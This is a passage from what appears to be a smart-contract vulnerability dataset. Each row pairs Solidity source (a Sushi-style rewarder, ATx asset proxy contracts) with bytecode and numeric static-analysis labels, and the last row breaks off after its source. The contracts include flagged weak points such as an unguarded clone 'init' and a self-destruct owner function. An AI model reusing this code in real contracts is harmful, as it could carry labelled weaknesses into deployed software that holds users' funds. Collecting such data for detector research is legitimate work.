address
stringlengths 42
42
| source_code
stringlengths 32
1.21M
| bytecode
stringlengths 2
49.2k
| slither
sequence |
---|---|---|---|
0xf3312e3d9c55993cc0dc95eb87e0b3edca8a87f7 | // File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.0.4
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// EIP 2612
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.0.4
pragma solidity 0.6.12;
library BoringERC20 {
function safeSymbol(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeName(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
function safeTransfer(IERC20 token, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File contracts/interfaces/IRewarder.sol
pragma solidity 0.6.12;
interface IRewarder {
using BoringERC20 for IERC20;
function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.0.4
pragma solidity 0.6.12;
// a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math)
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "BoringMath: Underflow");}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "BoringMath: Mul Overflow");}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "BoringMath: Underflow");}
}
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a - b) <= a, "BoringMath: Underflow");}
}
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a - b) <= a, "BoringMath: Underflow");}
}
// File @boringcrypto/boring-solidity/contracts/BoringOwnable.sol@v1.0.4
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// P1 - P3: OK
pragma solidity 0.6.12;
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
// T1 - T4: OK
contract BoringOwnableData {
// V1 - V5: OK
address public owner;
// V1 - V5: OK
address public pendingOwner;
}
// T1 - T4: OK
contract BoringOwnable is BoringOwnableData {
// E1: OK
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
// F1 - F9: OK
// C1 - C21: OK
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
// F1 - F9: OK
// C1 - C21: OK
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
// M1 - M5: OK
// C1 - C21: OK
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
// File contracts/mocks/CloneRewarderTime.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IMasterChefV2 {
function lpToken(uint256 pid) external view returns (IERC20 _lpToken);
}
/// @author @0xKeno
contract NinjaRewarder is IRewarder, BoringOwnable{
using BoringMath for uint256;
using BoringMath128 for uint128;
using BoringERC20 for IERC20;
IERC20 public rewardToken;
/// @notice Info of each Rewarder user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of Reward Token entitled to the user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 unpaidRewards;
}
/// @notice Info of the rewarder pool
struct PoolInfo {
uint128 accToken1PerShare;
uint64 lastRewardTime;
}
/// @notice Mapping to track the rewarder pool.
mapping (uint256 => PoolInfo) public poolInfo;
/// @notice Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public rewardPerSecond;
IERC20 public masterLpToken;
uint256 private constant ACC_TOKEN_PRECISION = 1e12;
address public immutable MASTERCHEF_V2;
uint256 internal unlocked;
modifier lock() {
require(unlocked == 1, "LOCKED");
unlocked = 2;
_;
unlocked = 1;
}
event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accToken1PerShare);
event LogRewardPerSecond(uint256 rewardPerSecond);
event LogInit(IERC20 indexed rewardToken, address owner, uint256 rewardPerSecond, IERC20 indexed masterLpToken);
constructor (address _MASTERCHEF_V2) public {
MASTERCHEF_V2 = _MASTERCHEF_V2;
}
/// @notice Serves as the constructor for clones, as clones can't have a regular constructor
/// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData)
function init(bytes calldata data) public payable {
require(rewardToken == IERC20(0), "Rewarder: already initialized");
(rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20));
require(rewardToken != IERC20(0), "Rewarder: bad token");
unlocked = 1;
emit LogInit(rewardToken, owner, rewardPerSecond, masterLpToken);
}
function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpTokenAmount) onlyMCV2 lock override external {
require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken);
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][_user];
uint256 pending;
if (user.amount > 0) {
pending =
(user.amount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION).sub(
user.rewardDebt
).add(user.unpaidRewards);
uint256 balance = rewardToken.balanceOf(address(this));
if (pending > balance) {
rewardToken.safeTransfer(to, balance);
user.unpaidRewards = pending - balance;
} else {
rewardToken.safeTransfer(to, pending);
user.unpaidRewards = 0;
}
}
user.amount = lpTokenAmount;
user.rewardDebt = lpTokenAmount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION;
emit LogOnReward(_user, pid, pending - user.unpaidRewards, to);
}
function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) {
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = (rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = pendingToken(pid, user);
return (_rewardTokens, _rewardAmounts);
}
function rewardRates() external view returns (uint256[] memory) {
uint256[] memory _rewardRates = new uint256[](1);
_rewardRates[0] = rewardPerSecond;
return (_rewardRates);
}
/// @notice Sets the sushi per second to be distributed. Can only be called by the owner.
/// @param _rewardPerSecond The amount of Sushi to be distributed per second.
function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner {
rewardPerSecond = _rewardPerSecond;
emit LogRewardPerSecond(_rewardPerSecond);
}
/// @notice Allows owner to reclaim/withdraw any tokens (including reward tokens) held by this contract
/// @param token Token to reclaim, use 0x00 for Ethereum
/// @param amount Amount of tokens to reclaim
/// @param to Receiver of the tokens, first of his name, rightful heir to the lost tokens,
/// reightful owner of the extra tokens, and ether, protector of mistaken transfers, mother of token reclaimers,
/// the Khaleesi of the Great Token Sea, the Unburnt, the Breaker of blockchains.
function reclaimTokens(address token, uint256 amount, address payable to) public onlyOwner {
if (token == address(0)) {
to.transfer(amount);
} else {
IERC20(token).safeTransfer(to, amount);
}
}
modifier onlyMCV2 {
require(
msg.sender == MASTERCHEF_V2,
"Only MCV2 can call this function."
);
_;
}
/// @notice View function to see pending Token
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _user Address of user.
/// @return pending SUSHI reward for a given user.
function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accToken1PerShare = pool.accToken1PerShare;
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2);
if (block.timestamp > pool.lastRewardTime && lpSupply != 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
accToken1PerShare = accToken1PerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply);
}
pending = (user.amount.mul(accToken1PerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt).add(user.unpaidRewards);
}
/// @notice Update reward variables of the given pool.
/// @param pid The index of the pool. See `poolInfo`.
/// @return pool Returns the pool that was updated.
function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
pool = poolInfo[pid];
if (block.timestamp > pool.lastRewardTime) {
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2);
if (lpSupply > 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
pool.accToken1PerShare = pool.accToken1PerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128());
}
pool.lastRewardTime = block.timestamp.to64();
poolInfo[pid] = pool;
emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accToken1PerShare);
}
}
} | 0x6080604052600436106101095760003560e01c80638da5cb5b11610095578063a88a5c1611610064578063a88a5c16146102b9578063c1ea3868146102db578063d63b3c49146102fb578063e30c397814610329578063f7c618c11461033e57610109565b80638da5cb5b1461024b5780638f10369a1461026057806393f1a40b14610275578063a8594dab146102a457610109565b80634e71e0c8116100dc5780634e71e0c8146101a757806351eb05a6146101bc5780635a894421146101e957806366da58151461020b5780638bf637421461022b57610109565b8063078dfbe71461010e5780631526fe271461013057806348e43af4146101675780634ddf47d414610194575b600080fd5b34801561011a57600080fd5b5061012e6101293660046112b2565b610353565b005b34801561013c57600080fd5b5061015061014b366004611430565b610442565b60405161015e9291906118f4565b60405180910390f35b34801561017357600080fd5b50610187610182366004611460565b610470565b60405161015e9190611917565b61012e6101a2366004611355565b6106e5565b3480156101b357600080fd5b5061012e6107dc565b3480156101c857600080fd5b506101dc6101d7366004611430565b610869565b60405161015e91906118ca565b3480156101f557600080fd5b506101fe610b2d565b60405161015e919061158a565b34801561021757600080fd5b5061012e610226366004611430565b610b51565b34801561023757600080fd5b5061012e61024636600461148f565b610bbb565b34801561025757600080fd5b506101fe610ebe565b34801561026c57600080fd5b50610187610ecd565b34801561028157600080fd5b50610295610290366004611460565b610ed3565b60405161015e93929190611920565b3480156102b057600080fd5b506101fe610eff565b3480156102c557600080fd5b506102ce610f0e565b60405161015e9190611617565b3480156102e757600080fd5b5061012e6102f63660046112fc565b610f53565b34801561030757600080fd5b5061031b6103163660046114e0565b610fdb565b60405161015e9291906115b7565b34801561033557600080fd5b506101fe611086565b34801561034a57600080fd5b506101fe611095565b6000546001600160a01b031633146103865760405162461bcd60e51b815260040161037d9061176e565b60405180910390fd5b8115610421576001600160a01b0383161515806103a05750805b6103bc5760405162461bcd60e51b815260040161037d906116d1565b600080546040516001600160a01b03808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0385166001600160a01b03199182161790915560018054909116905561043d565b600180546001600160a01b0319166001600160a01b0385161790555b505050565b6003602052600090815260409020546001600160801b03811690600160801b900467ffffffffffffffff1682565b600061047a61129b565b5060008381526003602090815260408083208151808301835290546001600160801b038082168352600160801b90910467ffffffffffffffff168285015287855260048085528386206001600160a01b0389811688529552838620835194516378ed5d1f60e01b815293969095949092169391927f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d909216916378ed5d1f91610525918b9101611917565b60206040518083038186803b15801561053d57600080fd5b505afa158015610551573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057591906113c2565b6001600160a01b03166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b81526004016105c0919061158a565b60206040518083038186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611448565b9050836020015167ffffffffffffffff164211801561062e57508015155b15610699576000610656856020015167ffffffffffffffff16426110a490919063ffffffff16565b9050600061066f600554836110cd90919063ffffffff16565b9050610694836106848364e8d4a510006110cd565b8161068b57fe5b86919004611104565b935050505b6106da83600201546106d4856001015464e8d4a510006106c68789600001546110cd90919063ffffffff16565b816106cd57fe5b04906110a4565b90611104565b979650505050505050565b6002546001600160a01b03161561070e5760405162461bcd60e51b815260040161037d90611866565b61071a818301836113de565b600680546001600160a01b03199081166001600160a01b0393841617909155600592909255600080548316938216939093179092556002805490911692821692909217918290551661077e5760405162461bcd60e51b815260040161037d9061189d565b60016007556006546002546000546005546040516001600160a01b0394851694938416937f4df6005d9c1e62d1d95592850d1c3256ee902631dd819a342f1756ab83489439936107d09391169161159e565b60405180910390a35050565b6001546001600160a01b03163381146108075760405162461bcd60e51b815260040161037d906117a3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316179055600180549091169055565b61087161129b565b506000818152600360209081526040918290208251808401909352546001600160801b0381168352600160801b900467ffffffffffffffff16908201819052421115610b28576040516378ed5d1f60e01b81526000906001600160a01b037f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610906908690600401611917565b60206040518083038186803b15801561091e57600080fd5b505afa158015610932573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095691906113c2565b6001600160a01b03166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b81526004016109a1919061158a565b60206040518083038186803b1580156109b957600080fd5b505afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611448565b90508015610a79576000610a1c836020015167ffffffffffffffff16426110a490919063ffffffff16565b90506000610a35600554836110cd90919063ffffffff16565b9050610a6b610a5a84610a4d8464e8d4a510006110cd565b81610a5457fe5b04611127565b85516001600160801b031690611154565b6001600160801b0316845250505b610a8242611183565b67ffffffffffffffff9081166020848101918252600086815260039091526040908190208551815493516fffffffffffffffffffffffffffffffff199094166001600160801b0382161767ffffffffffffffff60801b1916600160801b958516959095029490941790555185927f0fc9545022a542541ad085d091fb09a2ab36fee366a4576ab63714ea907ad35392610b1e9290918691611936565b60405180910390a2505b919050565b7f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d81565b6000546001600160a01b03163314610b7b5760405162461bcd60e51b815260040161037d9061176e565b60058190556040517fde89cb17ac7f58f94792b3e91e086ed85403819c24ceea882491f960ccb1a27890610bb0908390611917565b60405180910390a150565b336001600160a01b037f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d1614610c035760405162461bcd60e51b815260040161037d90611690565b600754600114610c255760405162461bcd60e51b815260040161037d9061180f565b60026007556006546040516378ed5d1f60e01b81526001600160a01b03918216917f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610c7d908990600401611917565b60206040518083038186803b158015610c9557600080fd5b505afa158015610ca9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccd91906113c2565b6001600160a01b031614610ce057600080fd5b610ce861129b565b610cf186610869565b60008781526004602090815260408083206001600160a01b038a168452909152812080549293509115610e2d57610d5882600201546106d4846001015464e8d4a510006106c688600001516001600160801b031688600001546110cd90919063ffffffff16565b6002546040516370a0823160e01b81529192506000916001600160a01b03909116906370a0823190610d8e90309060040161158a565b60206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611448565b905080821115610e0c57600254610dff906001600160a01b031688836111ad565b8082036002840155610e2b565b600254610e23906001600160a01b031688846111ad565b600060028401555b505b838255825164e8d4a5100090610e4d9086906001600160801b03166110cd565b81610e5457fe5b048260010181905550856001600160a01b031688886001600160a01b03167f2ece88ca2bc08dd018db50e1d25a20bf1241e5fab1c396caa51f01a54bd2f75b85600201548503604051610ea79190611917565b60405180910390a450506001600755505050505050565b6000546001600160a01b031681565b60055481565b600460209081526000928352604080842090915290825290208054600182015460029092015490919083565b6006546001600160a01b031681565b6040805160018082528183019092526060918291906020808301908036833701905050905060055481600081518110610f4357fe5b6020908102919091010152905090565b6000546001600160a01b03163314610f7d5760405162461bcd60e51b815260040161037d9061176e565b6001600160a01b038316610fc7576040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610fc1573d6000803e3d6000fd5b5061043d565b61043d6001600160a01b03841682846111ad565b6040805160018082528183019092526060918291829160208083019080368337505060025482519293506001600160a01b03169183915060009061101b57fe5b6001600160a01b0392909216602092830291909101909101526040805160018082528183019092526060918160200160208202803683370190505090506110628787610470565b8160008151811061106f57fe5b602090810291909101015290969095509350505050565b6001546001600160a01b031681565b6002546001600160a01b031681565b808203828111156110c75760405162461bcd60e51b815260040161037d9061162a565b92915050565b60008115806110e8575050808202828282816110e557fe5b04145b6110c75760405162461bcd60e51b815260040161037d9061182f565b818101818110156110c75760405162461bcd60e51b815260040161037d90611737565b60006001600160801b038211156111505760405162461bcd60e51b815260040161037d90611700565b5090565b8181016001600160801b0380831690821610156110c75760405162461bcd60e51b815260040161037d90611737565b600067ffffffffffffffff8211156111505760405162461bcd60e51b815260040161037d906117d8565b60006060846001600160a01b031663a9059cbb85856040516024016111d392919061159e565b6040516020818303038152906040529060e01b6020820180516001600160e01b03838183161783525050505060405161120c9190611551565b6000604051808303816000865af19150503d8060008114611249576040519150601f19603f3d011682016040523d82523d6000602084013e61124e565b606091505b50915091508180156112785750805115806112785750808060200190518101906112789190611332565b6112945760405162461bcd60e51b815260040161037d90611659565b5050505050565b604080518082019091526000808252602082015290565b6000806000606084860312156112c6578283fd5b83356112d181611961565b925060208401356112e181611979565b915060408401356112f181611979565b809150509250925092565b600080600060608486031215611310578283fd5b833561131b81611961565b92506020840135915060408401356112f181611961565b600060208284031215611343578081fd5b815161134e81611979565b9392505050565b60008060208385031215611367578182fd5b823567ffffffffffffffff8082111561137e578384fd5b818501915085601f830112611391578384fd5b81358181111561139f578485fd5b8660208285010111156113b0578485fd5b60209290920196919550909350505050565b6000602082840312156113d3578081fd5b815161134e81611961565b600080600080608085870312156113f3578081fd5b84356113fe81611961565b9350602085013561140e81611961565b925060408501359150606085013561142581611961565b939692955090935050565b600060208284031215611441578081fd5b5035919050565b600060208284031215611459578081fd5b5051919050565b60008060408385031215611472578182fd5b82359150602083013561148481611961565b809150509250929050565b600080600080600060a086880312156114a6578081fd5b8535945060208601356114b881611961565b935060408601356114c881611961565b94979396509394606081013594506080013592915050565b6000806000606084860312156114f4578283fd5b83359250602084013561150681611961565b929592945050506040919091013590565b6000815180845260208085019450808401835b838110156115465781518752958201959082019060010161152a565b509495945050505050565b60008251815b818110156115715760208186018101518583015201611557565b8181111561157f5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b604080825283519082018190526000906020906060840190828701845b828110156115f95781516001600160a01b0316845292840192908401906001016115d4565b5050508381038285015261160d8186611517565b9695505050505050565b60006020825261134e6020830184611517565b602080825260159082015274426f72696e674d6174683a20556e646572666c6f7760581b604082015260600190565b6020808252601c908201527f426f72696e6745524332303a205472616e73666572206661696c656400000000604082015260600190565b60208082526021908201527f4f6e6c79204d4356322063616e2063616c6c20746869732066756e6374696f6e6040820152601760f91b606082015260800190565b6020808252601590820152744f776e61626c653a207a65726f206164647265737360581b604082015260600190565b6020808252601c908201527f426f72696e674d6174683a2075696e74313238204f766572666c6f7700000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604082015260600190565b6020808252601b908201527f426f72696e674d6174683a2075696e743634204f766572666c6f770000000000604082015260600190565b6020808252600690820152651313d0d2d15160d21b604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b6020808252601d908201527f52657761726465723a20616c726561647920696e697469616c697a6564000000604082015260600190565b6020808252601390820152722932bbb0b93232b91d103130b2103a37b5b2b760691b604082015260600190565b81516001600160801b0316815260209182015167ffffffffffffffff169181019190915260400190565b6001600160801b0392909216825267ffffffffffffffff16602082015260400190565b90815260200190565b9283526020830191909152604082015260600190565b67ffffffffffffffff93909316835260208301919091526001600160801b0316604082015260600190565b6001600160a01b038116811461197657600080fd5b50565b801515811461197657600080fdfea2646970667358221220e2b72011a2711286dfb2e8ad42ef51dffbddd76f1f4b19c2a47d1730cf94efc664736f6c634300060c0033 | [
7,
12
] |
0xf331310d95b4c9ce7cc936cff303d7a3fa98c863 | pragma solidity ^0.4.18;
/**
* @title Owned contract with safe ownership pass.
*
* Note: all the non constant functions return false instead of throwing in case if state change
* didn't happen yet.
*/
contract Owned {
/**
* Contract owner address
*/
address public contractOwner;
/**
* Contract owner address
*/
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
/**
* @dev Owner check modifier
*/
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can call it
*/
function destroy() onlyContractOwner {
suicide(msg.sender);
}
/**
* Prepares ownership pass.
*
* Can only be called by current owner.
*
* @param _to address of the next owner. 0x0 is not allowed.
*
* @return success.
*/
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
/**
* Finalize ownership pass.
*
* Can only be called by pending owner.
*
* @return success.
*/
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title Provides possibility manage holders? country limits and limits for holders.
contract DataControllerInterface {
/// @notice Checks user is holder.
/// @param _address - checking address.
/// @return `true` if _address is registered holder, `false` otherwise.
function isHolderAddress(address _address) public view returns (bool);
function allowance(address _user) public view returns (uint);
function changeAllowance(address _holder, uint _value) public returns (uint);
}
/// @title ServiceController
///
/// Base implementation
/// Serves for managing service instances
contract ServiceControllerInterface {
/// @notice Check target address is service
/// @param _address target address
/// @return `true` when an address is a service, `false` otherwise
function isService(address _address) public view returns (bool);
}
contract ATxAssetInterface {
DataControllerInterface public dataController;
ServiceControllerInterface public serviceController;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function __process(bytes /*_data*/, address /*_sender*/) payable public {
revert();
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract AssetProxy is ERC20 {
bytes32 public smbl;
address public platform;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function getLatestVersion() public returns (address);
function init(address _bmcPlatform, string _symbol, string _name) public;
function proposeUpgrade(address _newVersion) public;
}
contract BasicAsset is ATxAssetInterface {
// Assigned asset proxy contract, immutable.
address public proxy;
/**
* Only assigned proxy is allowed to call.
*/
modifier onlyProxy() {
if (proxy == msg.sender) {
_;
}
}
/**
* Sets asset proxy address.
*
* Can be set only once.
*
* @param _proxy asset proxy contract address.
*
* @return success.
* @dev function is final, and must not be overridden.
*/
function init(address _proxy) public returns (bool) {
if (address(proxy) != 0x0) {
return false;
}
proxy = _proxy;
return true;
}
/**
* Passes execution into virtual function.
*
* Can only be called by assigned asset proxy.
*
* @return success.
* @dev function is final, and must not be overridden.
*/
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public onlyProxy returns (bool) {
return _transferWithReference(_to, _value, _reference, _sender);
}
/**
* Passes execution into virtual function.
*
* Can only be called by assigned asset proxy.
*
* @return success.
* @dev function is final, and must not be overridden.
*/
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyProxy returns (bool) {
return _transferFromWithReference(_from, _to, _value, _reference, _sender);
}
/**
* Passes execution into virtual function.
*
* Can only be called by assigned asset proxy.
*
* @return success.
* @dev function is final, and must not be overridden.
*/
function __approve(address _spender, uint _value, address _sender) public onlyProxy returns (bool) {
return _approve(_spender, _value, _sender);
}
/**
* Calls back without modifications.
*
* @return success.
* @dev function is virtual, and meant to be overridden.
*/
function _transferWithReference(address _to, uint _value, string _reference, address _sender) internal returns (bool) {
return AssetProxy(proxy).__transferWithReference(_to, _value, _reference, _sender);
}
/**
* Calls back without modifications.
*
* @return success.
* @dev function is virtual, and meant to be overridden.
*/
function _transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) internal returns (bool) {
return AssetProxy(proxy).__transferFromWithReference(_from, _to, _value, _reference, _sender);
}
/**
* Calls back without modifications.
*
* @return success.
* @dev function is virtual, and meant to be overridden.
*/
function _approve(address _spender, uint _value, address _sender) internal returns (bool) {
return AssetProxy(proxy).__approve(_spender, _value, _sender);
}
}
/// @title ServiceAllowance.
///
/// Provides a way to delegate operation allowance decision to a service contract
contract ServiceAllowance {
function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool);
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/**
* @title Generic owned destroyable contract
*/
contract Object is Owned {
/**
* Common result code. Means everything is fine.
*/
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
